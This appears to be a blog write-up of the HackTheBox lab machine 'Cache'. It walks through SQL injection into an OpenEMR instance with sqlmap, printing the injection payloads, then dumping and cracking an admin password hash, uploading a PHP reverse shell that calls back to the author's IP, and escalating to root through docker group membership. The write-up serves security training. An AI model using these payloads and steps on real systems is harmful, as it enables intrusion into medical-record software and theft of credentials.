Categories
HackTheBox Writeups

[HTB] – Cache

Hi there ! Today's write-up is about Cache, a Medium Linux box, released on May 9th 2020 on HackTheBox.

Recon

First step is to gather information about the box, using Nmap.

$ nmap -A -p- -T4 10.10.10.188

Here is a bit of explanation about the options :

  • -A : enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (--traceroute)
  • -p- : nmap scans every port
  • -T4 : allows you to adjust the Timing Template (according to your bandwidth, and the speed you're seeking)

The results are as follows :

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 21:22 CEST
Nmap scan report for 10.10.10.188
Host is up (0.077s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=5/29%OT=22%CT=1%CU=33644%PV=Y%DS=2%DC=T%G=Y%TM=5ED1618
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 110/tcp)
HOP RTT      ADDRESS
1   88.86 ms 10.10.14.1
2   90.02 ms 10.10.10.188

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.65 seconds

There is nothing much there. Let's check the website.

On the author page, there is a link to cache.htb. In order for it to work, you need to add the domain to your /etc/hosts file. It needs to look like this:

First thing I found on the website is a javascript file with a plain password on the login page. If you use them, you'll get a page "in construction". But let's keep the credentials anyway.

ash:[email protected]_fun

The next step is more a riddle than anything else.

After the link to Cache, and a short bio, there is another project like Cache : HMS.

What you need to understand here, is that there is another domain, named hms.htb. Add it to the hosts file. It should now look like this.

First Access

Now when you navigate to hms.htb, you'll get a login form. OpenEMR is a medical record managment software. So if we got an access to it, we could try to upload a reverseshell.

There is an OpenEMR vulnerability that wasn't hard to find. A step by step tutorial is available here : https://www.youtube.com/watch?v=DJSQ8Pk_7hc&feature=emb_title

For more detailed info, check out this documentation.

What you need to do is fire up Burpsuite, and capture the HTTP request as you navigate to : http://hms.htb/portal/add_edit_event_user.php?eid=1.

Save the request as request.txt, and let's use sqlmap.

┌─|Log_s [16:38] :~/Cyber/chall/machines/cacheOK 
└──╼ $ sqlmap -r request.txt --threads=10 --dbs
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:45:04 /2020-08-29/

[16:45:04] [INFO] parsing HTTP request from 'request.txt'
[16:45:04] [INFO] resuming back-end DBMS 'mysql' 
[16:45:04] [INFO] testing connection to the target URL
[16:45:04] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: eid=(SELECT (CASE WHEN (5166=5166) THEN 1 ELSE (SELECT 2501 UNION SELECT 8553) END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: eid=1 AND EXTRACTVALUE(1433,CONCAT(0x5c,0x716b626b71,(SELECT (ELT(1433=1433,1))),0x7171766271))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: eid=1 AND (SELECT 5501 FROM (SELECT(SLEEP(5)))BduS)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x716b626b71,0x79516e6d726448704b706679644b794b6d59536e5073556d50434f6365715243717864456c477668,0x7171766271),NULL-- -
---
[16:45:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[16:45:04] [INFO] fetching database names
[16:45:04] [INFO] starting 2 threads
[16:45:04] [INFO] resumed: 'information_schema'
[16:45:04] [INFO] resumed: 'openemr'
available databases [2]:                                                                                               
[*] information_schema
[*] openemr

[16:45:04] [INFO] fetched data logged to text files under '/home/leo/.local/share/sqlmap/output/hms.htb'

[*] ending @ 16:45:04 /2020-08-29/

There are to databases : information_schema and openemr.

Let's see what table openemr contains.

┌─|Log_s [16:45] :~/Cyber/chall/machines/cacheOK 
└──╼ $ sqlmap -r request.txt --threads=10 -D openemr --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:49:15 /2020-08-29/

[16:49:15] [INFO] parsing HTTP request from 'request.txt'
[16:49:16] [INFO] resuming back-end DBMS 'mysql' 
[16:49:16] [INFO] testing connection to the target URL
[16:49:16] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: eid=(SELECT (CASE WHEN (5166=5166) THEN 1 ELSE (SELECT 2501 UNION SELECT 8553) END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: eid=1 AND EXTRACTVALUE(1433,CONCAT(0x5c,0x716b626b71,(SELECT (ELT(1433=1433,1))),0x7171766271))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: eid=1 AND (SELECT 5501 FROM (SELECT(SLEEP(5)))BduS)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x716b626b71,0x79516e6d726448704b706679644b794b6d59536e5073556d50434f6365715243717864456c477668,0x7171766271),NULL-- -
---
[16:49:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[16:49:16] [INFO] fetching tables for database: 'openemr'
[16:49:16] [INFO] starting 10 threads
Database: openemr                                                                                                                                                                                                                            
[234 tables]
+---------------------------------------+
| array                                 |
| groups                                |
| sequences                             |
| version                               |
| addresses                             |
| amc_misc_data                         |
| amendments                            |
| amendments_history                    |
| ar_activity                           |
| ar_session                            |
| audit_details                         |
| audit_master                          |
| automatic_notification                |
| background_services                   |
| batchcom                              |
| billing                               |
| calendar_external                     |

[...]

| therapy_groups_participants           |
| transactions                          |
| user_settings                         |
| users                                 |
| users_facility                        |
| users_secure                          |
| valueset                              |
| voids                                 |
| x12_partners                          |
+---------------------------------------+

[16:49:16] [INFO] fetched data logged to text files under '/home/leo/.local/share/sqlmap/output/hms.htb'

[*] ending @ 16:49:16 /2020-08-29/

There are MANY tables. But the interesting ones are the one concerning users, and especially users_secure. Let's dump it.

┌─|Log_s [16:49] :~/Cyber/chall/machines/cacheOK 
└──╼ $ sqlmap -r request.txt --threads=10 -D openemr -T users_secure --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:51:41 /2020-08-29/

[16:51:41] [INFO] parsing HTTP request from 'request.txt'
[16:51:41] [INFO] resuming back-end DBMS 'mysql' 
[16:51:41] [INFO] testing connection to the target URL
[16:51:41] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: eid=(SELECT (CASE WHEN (5166=5166) THEN 1 ELSE (SELECT 2501 UNION SELECT 8553) END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: eid=1 AND EXTRACTVALUE(1433,CONCAT(0x5c,0x716b626b71,(SELECT (ELT(1433=1433,1))),0x7171766271))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: eid=1 AND (SELECT 5501 FROM (SELECT(SLEEP(5)))BduS)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x716b626b71,0x79516e6d726448704b706679644b794b6d59536e5073556d50434f6365715243717864456c477668,0x7171766271),NULL-- -
---
[16:51:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[16:51:41] [INFO] fetching columns for table 'users_secure' in database 'openemr'
[16:51:41] [INFO] starting 9 threads
[16:51:41] [INFO] resumed: 'id','bigint(20)'
[16:51:41] [INFO] resumed: 'password','varchar(255)'
[16:51:41] [INFO] resumed: 'last_update','timestamp'
[16:51:41] [INFO] resumed: 'password_history1','varchar(255)'
[16:51:41] [INFO] resumed: 'password_history2','varchar(255)'
[16:51:41] [INFO] resumed: 'salt','varchar(255)'
[16:51:41] [INFO] resumed: 'salt_history2','varchar(255)'
[16:51:41] [INFO] resumed: 'username','varchar(255)'
[16:51:41] [INFO] resumed: 'salt_history1','varchar(255)'
[16:51:41] [INFO] fetching entries for table 'users_secure' in database 'openemr'                                                                                                                                                            
[16:51:41] [WARNING] reflective value(s) found and filtering out
Database: openemr
Table: users_secure
[1 entry]
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| id   | salt                           | username      | password                                                     | last_update         | salt_history1 | salt_history2 | password_history1 | password_history2 |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| 1    | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL          | NULL          | NULL              | NULL              |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+

[16:51:41] [INFO] table 'openemr.users_secure' dumped to CSV file '/home/leo/.local/share/sqlmap/output/hms.htb/dump/openemr/users_secure.csv'
[16:51:41] [INFO] fetched data logged to text files under '/home/leo/.local/share/sqlmap/output/hms.htb'

[*] ending @ 16:51:41 /2020-08-29/

Oh what a surprise 🙂 a password hash. To crack it, you can use hachcat, or john the ripper. I'll use the second solution.

Use nano to store openemr_admin:$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. into a file toCrack.hash. Don't use echo, because it deforms the hash, and it's not readable by John.

$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt toCrack

It was easy to crack, since the password was : xxxxxx.

openemr_admin:xxxxxx

Once we've connected as openemr_admin, we can access the files tab.

Next thing is to upload a reverse shell. I am using my favourite PHP reverse shell : https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Just modify the IP address (check your tun0 interface) and a forwarded port. In the example below, my IP is 10.10.14.128 and the port I use is 8888.

Choose to upload an image and upload your reverse shell. There is no data verification, so no need to disguise our file.

Next you need to listen on the port you defined earlier (you can use rlwrap for a better experience).

Now that we're all set, just navigate to hms.htb/sites/default/images/reverseshell.php. If everything went the way it supposes to, you'll get a shell. There is another way to achieve this, in a "cleaner" way, using this exploit : https://www.exploit-db.com/exploits/45161. But it's not the way I did it the first time, and there are other write-ups out there explaining this method.

Type in /usr/bin/script -qc /bin/bash /dev/null to get a proper prompt.

Own User

The user part is pretty easy. Many people tend to reuse passwords. When listing the user home directories, I found ash/ and luffy/. So I tried the credentials found before

[email protected]:/$ su ash
su ash
Password: [email protected]_fun

[email protected]:/$ whoami
whoami
ash
[email protected]:/$ 

Let's settle this part with a simple :

cat /home/ash/user.txt

Own Root

It's a bit tricky. I am used to having to compromise one user, and then to perform a privesc to root. In this case, we have to login as luffy first, to get the critical hint, and rights for the privesc.

After some enumeration, the netstat -tulp command showed a few processes. After googling them, the one running on port 11211 is interesting. (write down that command, it's commonly used for enumeration).

Here is the set of commands I found on the internet :

[email protected]:/$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
get user
get user
VALUE user 0 5
luffy
END
get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

So here we get some new credentials for the other user, luffy.

luffy:0n3_p1ec3

We could use su to connect as luffy, but in order to get a fully functional shell, we can connect through SSH (which was denied for ash).

┌─|Log_s [22:10] :~/Cyber/chall/machines/cacheOK 
└──╼ $ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-109-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Aug 30 20:17:08 UTC 2020

  System load:  0.0               Processes:              236
  Usage of /:   74.7% of 8.06GB   Users logged in:        0
  Memory usage: 25%               IP address for ens160:  10.10.10.188
  Swap usage:   0%                IP address for docker0: 172.17.0.1


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

110 packages can be updated.
0 updates are security updates.


Last login: Wed May  6 08:54:44 2020 from 10.10.14.3
[email protected]:~$

Once you figured you needed access to the other user in order to gain root access, the last step is pretty easy. Simple enumeration is enough to get all the info you need. The id command reveals an interesting group : docker.

docker images reveals that there is a docker running.

[email protected]:~$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
[email protected]:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        11 months ago       64.2MB

GTFOBins did the rest. Just search for docker, and you will get two ways of getting the flag. Or spawn a root shell, or read a file with root privileges. The first method is way easier.

Just a word about GTFOBins. If you don't know this website, make sure to check it out. It's one of the first resources you should use while enumerating. With a simple word, it sometimes comes up with ready to paste commands for privesc (that you half the time don't understand 🙂 ).

However, just copy-paste the command, and change the alpine image name with ours (ubuntu).

That's it for this write-up, I hope you enjoyed it and found it usefull 😉

Leave a Reply

Your email address will not be published. Required fields are marked *